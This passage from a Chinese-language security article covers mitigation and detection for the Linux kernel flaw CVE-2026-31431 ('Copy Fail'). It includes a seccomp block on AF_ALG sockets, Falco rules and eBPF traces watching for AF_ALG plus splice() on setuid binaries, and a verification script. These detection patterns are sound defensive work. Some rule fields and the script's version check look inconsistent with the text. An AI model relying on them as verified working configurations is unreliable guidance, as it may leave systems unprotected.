| Ubuntu 24.04 | 6.17.0-1010+ | uname -r | grep 6.17 |
| Debian 12 | 6.1.82-1~deb12u1+ | uname -r |
| RHEL 9 | 5.14.0-503.x + 补丁 | dnf updateinfo list |
| Amazon Linux 2023 | 最新滚动版本 | amazon-linux-extras |
| SUSE 15 SP5 | 5.14.21 + 补丁 | zypper patch --cve |
6.3 方案二:禁用 algif_aead 模块(临时缓解,无法升级时使用)
# 1. 永久写入 modprobe 黑名单
# /etc/modprobe.d/algif-aead.conf
echo "install algif_aead /bin/true" | sudo tee /etc/modprobe.d/algif-aead.conf
# 2. 立即卸载(仅对可卸载模块有效)
sudo rmmod algif_aead 2>/dev/null && echo "卸载成功" || echo "已内置或已禁用"
# 3. 验证
lsmod | grep algif_aead && echo "[!] 仍在加载" || echo "[OK] 已禁用"
cat /proc/crypto | grep authencesn && echo "[!] authencesn 仍在" || echo "[OK] authencesn 不可用"
# 4. 兼容性验证(生产环境必须测试)
# 检查是否有合法业务依赖 AF_ALG
sudo lsof 2>/dev/null | grep -i "AF_ALG\|af_alg" || echo "[OK] 无进程使用 AF_ALG"
# 常见的 AF_ALG 用户(应该不受影响):
# - OpenSSL afalg 引擎(影响极小,大多数 OpenSSL 使用默认的 evp 引擎)
# - 用户态 IPsec 工具(strongSwan, LibreSwan)
# - DTLS 应用(WireGuard 使用内核路径,不受影响)
对常见业务的影响评估:
[OK] 不受影响:
- HTTPS Web 服务器(Nginx, Apache 使用 OpenSSL 用户态加密)
- SSH 服务器和客户端(OpenSSL/GnuTLS 用户态加密)
- LUKS/dm-crypt 磁盘加密(内核 dm-crypt 路径,非 AF_ALG)
- Kubernetes 集群(大多数组件不受影响)
- Docker 运行时(与 AF_ALG 无关)
[!] 可能受影响(需要测试验证):
- 显式配置 OpenSSL afalg 引擎的应用
(编辑 /etc/ssl/openssl.cnf 或通过 OPENSSL_ENGINES 环境变量)
- 直接使用 Cython/Python AF_ALG 接口的应用
- IPsec XFRM 层的某些配置(需要确认)
[X] 不应使用 AF_ALG 的场景(本身就是安全风险):
- 任何处理不可信代码的环境(OJ, CI, 沙箱)
6.4 方案三:seccomp 强制阻断(容器和 CI 环境首选)
seccomp 可以精确控制哪些系统调用可以被调用。通过限制 socket(AF_ALG, ...) 中的 family == 38,可以在容器层面完全阻断 Copy Fail 的第一步。
// /etc/seccomp/blocks/05-block-afalg.json
{
"defaultAction": "SCMP_ACT_ALLOW",
"architectures": ["SCMP_ARCH_X86_64", "SCMP_ARCH_AARCH64"],
"syscalls": [
{
"names": ["socket"],
"action": "SCMP_ACT_ERRNO",
"errnoRet": 1,
"args": [
{
"index": 0,
"value": 38,
"op": "SCMP_CMP_EQ"
}
]
}
]
}
# Docker 使用
docker run \
--security-opt seccomp=/etc/seccomp/blocks/05-block-afalg.json \
your-image
# Docker Compose
services:
app:
image: your-image
security_opt:
- seccomp:/etc/seccomp/blocks/05-block-afalg.json
# Kubernetes Pod Security Standards
apiVersion: v1
kind: Pod
metadata:
name: secure-app
spec:
securityContext:
seccompProfile:
type: RuntimeDefault
# 配合 AppArmor/SELinux 强制策略效果更好
七、生产环境 eBPF + Falco 检测方案
7.1 为什么传统监控无效
Tripwire / AIDE -> 检测磁盘文件变化 -> [X] 无效(只改 page cache)
osquery -> 查询系统状态 -> [X] 无法检测实时攻击
auditd -> 记录系统调用 -> [!] 有效,但配置复杂
eBPF + Falco -> 实时检测攻击 -> [OK] 最佳方案
7.2 Falco 检测规则
# /etc/falco/rules.d/copy-fail-detection.yaml
# 用于检测 Copy Fail 攻击链的可疑行为
- rule: AF_ALG socket created by non-privileged user
desc: >
检测普通用户(非 root)创建 AF_ALG socket。
AF_ALG 是 Copy Fail (CVE-2026-31431) 攻击链的第一步。
condition: >
socket.domain = 38
and user.uid != 0
and not proc.is_container_engine()
and not proc.name in (allowed_procs)
output: >
AF_ALG socket created by non-root user
(user=%user.name uid=%user.uid container=%container.name
image=%container.image.repository proc=%proc.name pid=%proc.pid)
priority: CRITICAL
tags: [host, network, CVE-2026-31431, container]
source: syscall
- rule: splice on setuid binary by non-privileged user
desc: >
检测普通用户对 setuid 程序执行 splice()。
这是 Copy Fail 攻击链的关键步骤之一。
condition: >
syscall.splice
and user.uid != 0
and fd.name in (
"/usr/bin/su", "/usr/bin/sudo", "/usr/bin/passwd",
"/usr/bin/newgrp", "/usr/bin/chfn", "/usr/bin/chsh",
"/usr/bin/gpasswd", "/bin/su", "/bin/sudo"
)
and not container
output: >
Suspicious splice() on setuid binary
(user=%user.name uid=%user.uid proc=%proc.name
fd=%fd.name target=%fd.name)
priority: CRITICAL
tags: [host, filesystem, CVE-2026-31431]
source: syscall
- rule: AF_ALG + splice combination in container
desc: >
容器内同时出现 AF_ALG socket 创建和 splice() 调用。
高度可疑的 Copy Fail 攻击链行为。
condition: >
container
and socket.domain = 38
and user.uid != 0
and proc.is_executing_splice = true
output: >
Container AF_ALG + splice combo detected (possible Copy Fail)
(container=%container.name image=%container.image.repository
user=%user.name uid=%user.uid proc=%proc.name)
priority: CRITICAL
tags: [container, CVE-2026-31431, network]
source: syscall
7.3 eBPF 监控脚本(高级)
#!/bin/bash
# CVE-2026-31431 eBPF 实时监控脚本
# 需要 bpfcc-tools 或 bpftrace
# 安装依赖
# Ubuntu: sudo apt install bpfcc-tools linux-headers-$(uname -r)
# RHEL: sudo dnf install bcc-tools kernel-devel
# 监控 AF_ALG socket 创建
echo "监控 AF_ALG socket 创建 (Ctrl+C 退出)..."
sudo /usr/share/bpfcc-tools/trace 'syscalls:sys_enter_socket "AF_ALG socket: pid=%d comm=%s family=%d", pid, comm, args->family' 2>/dev/null | grep "family=38" &
# 监控 splice 系统调用
echo "监控 splice() 调用..."
sudo /usr/share/bpfcc-tools/trace 'syscalls:sys_enter_splice "splice: pid=%d comm=%s fd_in=%d fd_out=%d bytes=%d", pid, comm, args->fd_in, args->fd_out, args->len' 2>/dev/null &
# 监控 execve setuid 程序
echo "监控 setuid 程序执行..."
sudo /usr/share/bpfcc-tools/trace 'syscalls:sys_enter_execve "execve: pid=%d comm=%s filename=%s", pid, comm, args->filename' 2>/dev/null | grep -E "su|sudo|passwd" &
wait
八、为什么这个漏洞值得工程师深入理解
8.1 它重新定义了"内核优化"的风险模型
过去,内核漏洞大多来自内存破坏(越界读写、Use-After-Free、堆溢出)。Copy Fail 属于逻辑缺陷--内核代码逻辑本身是对的,优化也是合理的,问题出在不同子系统交互时产生了设计者未预料的副作用。
这类漏洞的特点:
- 单元测试测不出:authencesn 的 in-place 测试只验证加解密正确性,不验证跨系统副作用
- 模糊测试测不出:需要特定的 AF_ALG + splice() + page cache 的跨系统调用序列
- 代码审计是唯一出路:需要懂 crypto + splice + page cache 的复合型安全工程师
8.2 page cache 的共享哲学是双刃剑
Linux 的 page cache 设计哲学是"共享一切能共享的":
mmap共享内存 -> 高性能,但一个进程崩溃可能影响另一个fork后的写时复制 -> 节省内存,但读共享变为写私有splice零拷贝 -> 高性能,但 pipe buffer 持有对 page 的引用
Copy Fail 揭示了共享语义的一个隐藏假设:"只有显式写入该 page 的进程才修改它"。但 AF_ALG 的 in-place 解密以"解密输出"的身份写入了 page cache,绕过了这个假设。
8.3 开源生态的安全治理挑战
Copy Fail 是 2026 年内 Linux 内核曝出的第四个本地提权漏洞(与 Dirty Frag、Fragnesia、ssh-keysign-pwn 同批)。这让社区不得不面对一个根本性问题:
内核代码的复杂度已经超出了任何单一 review 团队的理解范围。 2026 年的 Linux 内核有超过 3000 万行代码,10000+ 贡献者,没有人能完整理解整个代码库。
应对之道:
- 形式化验证工具(如 KRF、Symbiotic)在关键 crypto 子系统中的应用
- 更严格的子系统交叉 review 流程
- 安全研究员悬赏计划(内核已经是Bug Bounty最丰厚的目标之一)
- 容器化沙箱的强制使用,限制不可信代码的执行环境
九、完整修复验证清单
#!/bin/bash
# CVE-2026-31431 修复验证脚本(DevOps 可集成到 Ansible / 启动脚本)
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'
pass_count=0
fail_count=0
warn_count=0
check() {
local name="$1"
local cmd="$2"
shift 2
local expected="$@"
result=$(eval "$cmd" 2>/dev/null || echo "ERROR")
if [[ "$result" == "ERROR" ]]; then
echo -e "${RED}[X] $name: 执行失败${NC}"
((fail_count++))
return
fi
for exp in "$@"; do
if [[ "$result" == *"$exp"* ]]; then
echo -e "${GREEN}[OK] $name: $result${NC}"
((pass_count++))
return
fi
done
echo -e "${YELLOW}[!] $name: $result${NC}"
((warn_count++))
}
echo "=========================================="
echo " CVE-2026-31431 修复验证"
echo "=========================================="
echo
echo "--- [1] 内核版本检查 ---"
KERNEL=$(uname -r)
echo " 内核: $KERNEL"
# 简单判断(实际应按具体版本)
if [[ "$KERNEL" =~ ^(6\.18\.(2[2-9]|[3-9][0-9])|6\.19\.([12][2-9]|[3-9][0-9])|[7-9]\.|[1-9][0-9]\.) ]]; then
echo -e "${GREEN}[OK] 内核版本在安全范围内${NC}"
((pass_count++))
elif [[ "$KERNEL" =~ ^(4\.1[0-3]\.) ]]; then
echo -e "${RED}[X] 内核版本在受影响范围内!${NC}"
((fail_count++))
else
echo -e "${YELLOW}[!] 无法确认内核安全性,请手动检查${NC}"
((warn_count++))
fi
echo
echo "--- [2] algif_aead 模块检查 ---"
if lsmod 2>/dev/null | grep -q algif_aead; then
if [[ -f /etc/modprobe.d/algif-aead.conf ]]; then
echo -e "${GREEN}[OK] algif_aead 模块已加载但已禁用(配置文件存在)${NC}"
((pass_count++))
else
echo -e "${RED}[X] algif_aead 模块已加载且未禁用!${NC}"
((fail_count++))
fi
else
echo -e "${GREEN}[OK] algif_aead 未作为可加载模块${NC}"
((pass_count++))
fi
echo
echo "--- [3] AF_ALG AEAD 可达性检查 ---"
if python3 -c "import socket; s=socket.socket(38,socket.SOCK_SEQPACKET,0); s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')); s.close(); print('REACHABLE')" 2>/dev/null | grep -q "REACHABLE"; then
if [[ -f /etc/modprobe.d/algif-aead.conf ]] || [[ "$KERNEL" =~ ^(6\.18\.(2[2-9]|[3-9][0-9])|6\.19\.([12][2-9]|[3-9][0-9])|[7-9]\.|[1-9][0-9]\.) ]]; then
echo -e "${GREEN}[OK] AF_ALG AEAD 可达但内核已修复(可能是 backport 补丁)${NC}"
((pass_count++))
else
echo -e "${RED}[X] AF_ALG AEAD 可达且内核可能未修复!${NC}"
((fail_count++))
fi
else
echo -e "${GREEN}[OK] AF_ALG AEAD 当前不可达${NC}"
((pass_count++))
fi
echo
echo "--- [4] 禁用配置检查 ---"
if [[ -f /etc/modprobe.d/algif-aead.conf ]]; then
echo -e "${GREEN}[OK] 禁用配置存在: $(cat /etc/modprobe.d/algif-aead.conf)${NC}"
((pass_count++))
else
echo -e "${YELLOW}[!] 未找到 algif_aead 禁用配置${NC}"
((warn_count++))
fi
echo
echo "--- [5] 发行版安全更新检查 ---"
if command -v apt &>/dev/null; then
UPGRADABLE=$(apt list --upgradable 2>/dev/null | grep -ci "linux\|CVE-2026-31431" || echo 0)
if [[ "$UPGRADABLE" -gt 0 ]]; then
echo -e "${RED}[X] 有待安装的内核安全更新${NC}"
((fail_count++))
else
echo -e "${GREEN}[OK] 无待安装的内核安全更新${NC}"
((pass_count++))
fi
elif command -v dnf &>/dev/null; then
CVES=$(dnf updateinfo list --cves 2>/dev/null | grep -ci "CVE-2026-31431" || echo 0)
if [[ "$CVES" -gt 0 ]]; then
echo -e "${RED}[X] 有待安装的 CVE-2026-31431 相关更新${NC}"
((fail_count++))
else
echo -e "${GREEN}[OK] 无待安装的 CVE-2026-31431 更新${NC}"
((pass_count++))
fi
fi
echo
echo "=========================================="
echo " 验证结果汇总"
echo "=========================================="
echo -e " ${GREEN}通过: $pass_count${NC}"
echo -e " ${YELLOW}警告: $warn_count${NC}"
echo -e " ${RED}失败: $fail_count${NC}"
echo
if [[ "$fail_count" -gt 0 ]]; then
echo -e "${RED}[X] 系统仍存在安全风险,请处理失败的检查项${NC}"
exit 2
elif [[ "$warn_count" -gt 0 ]]; then
echo -e "${YELLOW}[!] 系统有警告项,建议手动审查${NC}"
exit 1
else
echo -e "${GREEN}[OK] 所有检查通过${NC}"
exit 0
fi
总结
Copy Fail 是近年来最值得工程师深入理解的 Linux 内核漏洞之一。它的可怕之处在于:
- 隐蔽性:2017 年引入,2026 年才曝光,9 年间无人发现
- 简洁性:732 字节 Python,100% 成功率,不需要任何技巧
- 广泛性:影响 2017 年后几乎所有 Linux 发行版,云服务器、容器、CI 无一幸免
- 持久性:只篡改 page cache,磁盘文件不变,重启自动恢复,常规监控发现不了
- 工程意义:它是 crypto 优化 + splice 零拷贝 + page cache 共享三个正确设计的"交集缺陷"
作为工程师,我们应该从 Copy Fail 学到的五点:
- 性能优化有代价:减少内存拷贝的优化,可能引入新的攻击面。在内核中,跨系统边界的优化尤其需要系统思维
- 页缓存共享是双刃剑:Linux 的零拷贝哲学服务于性能,但副作用可能被攻击者利用。理解共享语义的隐含假设是安全编程的基础
- 安全隔离不等于安全:即使在容器里,也要假设容器可能被攻破。宿主机内核漏洞是最后一道防线,而这道防线在 Copy Fail 面前已千疮百孔
- 检测能力同等重要:升级内核之外,你需要能检测可疑行为的能力--因为总有系统暂时无法升级
- 安全是个系统工程:不是简单"升级一下"就能解决的,需要评估、缓解、检测、响应的完整链条
一句话收束:Copy Fail 提醒我们,Linux 内核的安全问题不只是"多线程竞态"或"堆溢出",还可能是"看似正确的优化在子系统边界条件下翻车"。理解了它的原理,你就拥有了在未来识别类似隐患的直觉。
参考资源:
- Theori 官方公告:https://copy.fail/
- 上游修复补丁:
commit a664bf3d603d(回退 2017 年 in-place 优化) - NVD:CVE-2026-31431(CVSS 7.8 高危)
- CERT-EU 安全通报:2026-005
- 官方 PoC 仓库:https://github.com/theori-io/copy-fail-CVE-2026-31431
- 各发行版安全公告(Ubuntu USN / Debian DSA / RHEL / SUSE)
附录 A:Copy Fail 与其他 2026 年 Linux 内核高危漏洞横向对比
2026 年被称为 Linux 内核的"漏洞大年"。Copy Fail 并不是孤例--在不到三个月内,社区披露了多个本地提权漏洞,形成了系统性的信任危机。理解它们之间的差异,有助于工程师更全面地评估风险。
A.1 四大内核 LPE 漏洞横向对比
| 维度 | Copy Fail | Dirty Frag | Fragnesia | ssh-keysign-pwn |
|---|---|---|---|---|
| CVE | CVE-2026-31431 | CVE-2026-XXXXX | CVE-2026-XXXXX | CVE-2026-XXXXX |
| 漏洞类型 | Crypto API 逻辑缺陷 | UAPI 内存损坏 | 文件系统竞态 | SSH 密钥签名 |
| 根因 | In-place 优化跨系统副作用 | IO_uring fragment 竞态 | tmpfs mmap 竞态 | ssh-keysign 整数溢出 |
| 影响范围 | 2017+ 全版本 | 特定内核版本 | 特定内核版本 | OpenSSH 特定版本 |
| PoC 公开 | [OK] 732 字节 Python | [OK] | [OK] | [OK] |
| 成功率 | 100% | 高 | 中 | 低 |
| 容器逃逸 | [OK] 强 | [OK] 中 | [!] 弱 | [X] |
| 修复难度 | 升级内核 | 升级内核 | 升级内核 | 升级 OpenSSH |
A.2 为什么 2026 年集中爆发?
根本原因:内核复杂度的自然暴露
Linux 内核在 2026 年的代码量已超过 3300 万行,分布在 60+ 个子系统、10000+ 个内核模块中。当代码库超过一定规模,即使每个子系统的代码质量都很高,子系统之间的交互边界也会成为漏洞的温床。
三个结构性因素:
- 优化叠加风险:内核追求极致性能,每个子系统都有大量 in-place、零拷贝、共享引用的优化。这些优化在子系统内部是安全的,但在子系统边界上可能产生意外交互
- 向后兼容的包袱:内核需要保持数十年跨版本兼容性,很多设计决策是 1990 年代做出的,在现代攻击技术面前可能不再安全
- AI 辅助代码审查的双刃剑:AI 加速了代码提交,同时也可能遗漏了跨子系统的边界效应。Copy Fail 的 2017 年 patch 如果有更强的 AI 辅助安全分析,可能会被标记为高风险
A.3 对工程师的实际影响
开发者的教训:
# 你以为的安全边界:
def process_user_input(data):
# 用户输入 -> 验证 -> 加密 -> 发送
# 假设:加密操作是安全的,因为它在内核里
encrypted = kernel_crypto.encrypt(data) # 调用 AF_ALG
return encrypted
# Copy Fail 告诉你:
# "加密" 操作可能把用户输入写回到 page cache
# 而 page cache 里的内容会被 setuid 程序读取
# -> 你的"安全加密"代码成了提权工具
SRE/DevOps 的教训:
# 你的安全基线(可能仍然不够):
docker run --rm \
--security-opt no-new-privileges:true \
--cap-drop=ALL \
--read-only \
--network=none \
your-sandbox-image
# Copy Fail 告诉你:
# 即使加了所有常规限制,宿主机内核漏洞仍然可以让容器内代码逃逸
# 解决方案只有:
# 1. 升级宿主机内核(必须)
# 2. 使用硬件虚拟化隔离(VM 而非容器)
# 3. 在网络层限制容器的 syscall 能力
附录 B:Copy Fail 对特定技术栈的影响评估
B.1 Kubernetes 集群影响评估
控制平面节点(etcd、API server、controller-manager):
- 通常以非 root 运行,但拥有高权限 capabilities
- etcd 使用 mlock 锁定内存,不依赖 AF_ALG
- API server 通常不需要 crypto API 的 AF_ALG 路径
- 结论:风险较低,但建议升级
工作节点(kubelet、container runtime):
- kubelet 通常以 root 运行,是攻击的高价值目标
- 容器通过 containerd/shim 运行,Copy Fail 可从容器内触发节点逃逸
- 结论:立即升级工作节点内核,P0
Pod 安全:
- 即使 Pod 配置了
securityContext,Copy Fail 仍可逃逸 PodSecurityPolicy/ OPA Gatekeeper 限制 syscall 可以缓解- 建议:所有 Pod 添加
seccompProfile.type: RuntimeDefault
GitOps 场景:
# ArgoCD / Flux 应用的 K8s 集群配置示例
apiVersion: v1
kind: Namespace
metadata:
name: production
labels:
# 强制 PodSecurityStandards
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/enforce-version: latest
---
apiVersion: v1
kind: Pod
spec:
securityContext:
seccompProfile:
type: RuntimeDefault
runAsNonRoot: true
runAsUser: 10000
fsGroup: 10000
B.2 AI 编程工具(Cursor / Claude Code / Copilot)影响
AI 编程工具本身不直接使用 AF_ALG,但它们执行的 AI 生成代码可能包含系统调用。
安全沙箱方案:
# 如果你在构建 AI 代码执行平台,应该:
# 1. 在 seccomp 配置中阻断 AF_ALG(见 6.4)
# 2. 使用 gVisor 或 Kata Containers 进行硬件级隔离
# 3. 定期扫描容器镜像中的 su/sudo 二进制哈希
# gVisor 配置(推荐用于 AI 代码执行)
docker run --runtime=runsc \
--security-opt seccomp=seccomp_profile.json \
your-ai-code-runner
# Kata Containers 配置(更强隔离,但性能损失约 10-20%)
docker run --runtime=kata-runtime \
your-ai-code-runner
B.3 数据库服务器(PostgreSQL / MySQL / Redis)
数据库服务器通常以专用用户(postgres / mysql / redis)运行,对系统的访问权限极为有限。
Copy Fail 对数据库的影响评估:
PostgreSQL:
- 运行用户:postgres(非 root)[OK]
- 无 su/sudo 使用场景
- 无 AF_ALG 调用(使用 OpenSSL 用户态加密)
- 风险:低
- 但:如果数据库运行在共享服务器上,
同一台机器的其他用户可以通过 Copy Fail 提权后攻击数据库
MySQL/MariaDB:
- 运行用户:mysql(非 root)[OK]
- 同样无 su/sudo 场景
- 无 AF_ALG 调用
- 风险:低(同上)
Redis:
- 运行用户:redis(非 root)[OK]
- 纯内存数据库,无磁盘加密场景
- 风险:极低
- 但:Redis 所在的服务器如果被提权,Redis 数据面临泄露风险
真正的风险:不是数据库本身被攻击,而是数据库服务器所在的 Linux 主机被提权后,攻击者获得对数据库的 root 访问。
附录 C:内核漏洞治理的长期建议
C.1 内核版本管理策略
企业 Linux 服务器的内核管理:
# Ansible playbook 片段:批量内核升级
- name: Upgrade kernel and reboot
hosts: linux_servers
become: yes
vars:
kernel_upgrade_version: "6.18.22"
reboot_timeout: 600
tasks:
- name: Check current kernel version
command: uname -r
register: current_kernel
changed_when: false
- name: Display current kernel
debug:
msg: "Current kernel: {{ current_kernel.stdout }}"
- name: Ubuntu - full upgrade
apt:
update_cache: yes
upgrade: full
autoremove: yes
when: ansible_os_family == "Debian"
- name: RHEL - kernel update
dnf:
name: kernel
state: latest
update_cache: yes
when: ansible_os_family == "RedHat"
- name: Check if reboot needed
command: needs-restarting -r
register: needs_reboot
failed_when: false
changed_when: false
- name: Reboot if required
reboot:
reboot_timeout: "{{ reboot_timeout }}"
pre_reboot_delay: 30
post_reboot_delay: 60
when: needs_reboot.rc != 0
- name: Verify new kernel
command: uname -r
register: new_kernel
changed_when: false
- name: Report kernel upgrade result
debug:
msg: "Kernel upgraded: {{ current_kernel.stdout }} -> {{ new_kernel.stdout }}"
C.2 安全监控的成熟度模型
Level 0: 无监控
- 不知道哪些服务器受影响
- 不清楚内核版本分布
Level 1: 被动响应
- CVE 披露后手动检查
- 依赖人工判断优先级
- 平均响应时间: 1-7 天
Level 2: 主动扫描(推荐起步)
- 部署 Ansible/Cron 定期扫描内核版本
- 集成漏洞扫描器(Qualys, Tenable, OpenVAS)
- 平均响应时间: 4-24 小时
Level 3: 实时检测(推荐生产)
- eBPF + Falco 实时监控可疑行为
- 告警到 Slack/PagerDuty
- 平均响应时间: 分钟级
Level 4: 主动防御(最佳实践)
- 内核自我防御:内核模块签名、模块加载策略
- 自动化补丁验证和回滚机制
- 硬件虚拟化隔离不可信工作负载
- 平均响应时间: 接近实时
C.3 容器安全的纵深防御架构
+-------------------------------------------------------------┐
| 应用层 |
| AppArmor / SELinux 策略(强制访问控制) |
| Seccomp(限制 syscall 白名单) |
| capabilities(最小权限) |
+-------------------------------------------------------------┘
v
+-------------------------------------------------------------┐
| 容器运行时 |
| gVisor / Kata Containers(硬件虚拟化隔离) |
| rootless containers(用户命名空间映射) |
| No New Privileges(禁止提权) |
+-------------------------------------------------------------┘
v
+-------------------------------------------------------------┐
| 宿主机(工作节点) |
| 内核安全更新(最关键!) |
| 内核模块签名(禁止加载未签名模块) |
| BPF JIT hardening |
| 内核参数加固(sysctl) |
+-------------------------------------------------------------┘
v
+-------------------------------------------------------------┐
| 网络层 |
| 严格防火墙规则(最小权限) |
| 网络策略(Pod 间隔离) |
| WireGuard / IPSec(传输加密) |
+-------------------------------------------------------------┘
结语:安全的本质是理解边界
Copy Fail 给我的最大启发,不是"赶紧升级内核"这种战术层面的建议,而是战略层面的反思:在 Linux 这个由数千人协作、跨越三十年、运行在数十亿台设备上的复杂系统里,"理解边界"比"打补丁"更重要。
理解边界意味着:
- 理解你的系统的信任边界在哪里:哪些代码可以运行?哪些数据可以被谁访问?
- 理解你的依赖的安全边界在哪里:Linux 内核是容器最后的防线,但这条防线本身也有漏洞
- 理解优化的代价边界在哪里:性能优化通常以牺牲安全性或可预测性为代价
- 理解检测的能力边界在哪里:不是所有攻击都能被监控发现,有些只能预防
作为工程师,我们能做的最务实的事:
- 建立内核版本台账:知道每台服务器跑什么内核版本,在 CVE 披露后能快速定位受影响范围
- 分层防御:不依赖单一安全措施,层层设防,即使一层被突破也有缓冲
- 自动化修复:CI/CD 流程中集成内核版本检查,优先于业务部署
- 理解而不只是使用:深入理解系统底层原理,才能在新的漏洞出现时快速判断影响面
Copy Fail 不会是最后一个让 Linux 社区头疼的内核漏洞。下一个类似的漏洞出现时,理解了 Copy Fail 原理的工程师,能比其他人快 10 倍判断影响面和修复优先级。
这才是读懂 Copy Fail 的真正价值。
相关阅读推荐:
- 内核 crypto API 设计文档:
Documentation/crypto/index.rst - AF_ALG 编程接口:
Documentation/userspace-api/af_alg.rst - splice() 系统调用手册:
man 2 splice - Theori 关于 Copy Fail 的完整技术报告:https://copy.fail/
- NVD CVE-2026-31431:https://nvd.nist.gov/vuln/detail/CVE-2026-31431